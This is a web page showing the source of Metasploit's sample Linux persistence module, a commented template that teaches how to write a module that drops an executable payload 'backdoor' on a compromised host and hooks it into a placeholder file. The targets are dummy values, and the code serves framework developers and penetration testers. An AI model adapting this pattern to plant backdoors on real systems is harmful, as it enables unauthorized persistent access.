Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/example_linux_persistence.rb
21830 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
###
7
#
8
# This exploit sample shows how a persistence module could be written
9
# for a linux computer.
10
#
11
###
12
class MetasploitModule < Msf::Exploit::Local
13
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
14
15
# includes: is_root?
16
include Msf::Post::Linux::Priv
17
# includes writable?, upload_file, upload_and_chmodx, exploit_data
18
include Msf::Post::File
19
# includes generate_payload_exe
20
include Msf::Exploit::EXE
21
# includes register_files_for_cleanup
22
include Msf::Exploit::FileDropper
23
# defines install_persistence and does our cleanup
24
# WritableDir
25
include Msf::Exploit::Local::Persistence
26
# runs check automatically
27
prepend Msf::Exploit::Remote::AutoCheck
28
29
def initialize(info = {})
30
super(
31
update_info(
32
info,
33
# The Name should be just like the line of a Git commit - software name,
34
# vuln type, class. Preferably apply
35
# some search optimization so people can actually find the module.
36
# We encourage consistency between module name and file name.
37
'Name' => 'Sample Linux Persistence',
38
'Description' => %q{
39
This exploit sample shows how a persistence module could be written
40
for a linux computer.
41
},
42
'License' => MSF_LICENSE,
43
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.
44
# Add reference to additional authors, like those creating original proof of concepts or
45
# reference materials.
46
# It is also common to comment in who did what (PoC vs metasploit module, etc)
47
'Author' => [
48
'h00die <[email protected]>', # msf module
49
'researcher' # original PoC, analysis
50
],
51
'Platform' => [ 'linux' ],
52
# from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit
53
# may only apply to say ARCH_PPC or something else, where a specific arch is required.
54
# A full list is available in lib/msf/core/payload/uuid.rb
55
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
56
# What types of sessions we can use this module in conjunction with. Most modules use libraries
57
# which work on shell and meterpreter, but there may be a nuance between one of them, so best to
58
# test both to ensure compatibility.
59
'SessionTypes' => [ 'meterpreter' ], # @clean_up_rc only works in meterpreter sessions
60
'Targets' => [[ 'Auto', {} ]],
61
# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
62
# since privilege escalation modules typically result in elevated privileges, this is
63
# generally set to true
64
'Privileged' => true,
65
# Often these have https://attack.mitre.org/techniques/ related to them
66
'References' => [
67
[ 'OSVDB', '12345' ],
68
[ 'EDB', '12345' ],
69
[ 'URL', 'http://www.example.com'],
70
[ 'CVE', '1978-1234'],
71
['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], # https://github.com/rapid7/metasploit-framework/pull/20289
72
],
73
'DisclosureDate' => '2023-11-29',
74
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
75
# It's generally easiest just to put the default at the beginning of the list and skip this
76
# entirely.
77
'DefaultTarget' => 0,
78
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
79
'Notes' => {
80
'Stability' => [CRASH_SAFE],
81
'Reliability' => [],
82
'SideEffects' => []
83
}
84
)
85
)
86
# force exploit is used to bypass the check command results
87
register_advanced_options [
88
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
89
]
90
end
91
92
def check
93
# Check a example app is installed
94
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
95
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
96
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
97
return CheckCode::Safe('example app is required') unless command_exists?('example')
98
99
CheckCode::Detected('example app is installed')
100
end
101
102
#
103
# The install_persistence method installs the persistence, starts the handler, and does all
104
# the main activities
105
#
106
def install_persistence
107
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
108
backdoor = "#{path}/#{file_name}"
109
vprint_status("Writing backdoor to #{backdoor}")
110
# if an arch_cmd payload is selected, write and chmod the file
111
# if an exe payload is selected, write it as an executable file
112
if payload.arch.first == 'cmd'
113
write_file(backdoor, payload.encoded)
114
chmod(backdoor, 0o755)
115
else
116
upload_and_chmodx backdoor, generate_payload_exe
117
end
118
# add removing the file to the cleanup script. The script starts as nil, so we want to overwrite it to a string
119
@clean_up_rc = "rm #{backdoor}\n"
120
121
# back up an example file that we're going to write into so we can restore it
122
# in our cleanup efforts
123
example_file = read_file('/tmp/example_file')
124
backup_file = store_loot('example.file', 'text/plain', session, example_file, 'example_file', '/tmp/example_file backup')
125
print_status("Created /tmp/example_file backup: #{backup_file}")
126
# @clean_up_rc is our instance variable string that tracks what needs to be done to remove the persistence by the user.
127
@clean_up_rc << "upload #{backup_file} /tmp/example_file\n"
128
write_file('/tmp/example_file', backdoor)
129
130
# the cleanup script will automatically be printed when the module is finished
131
end
132
end
133
134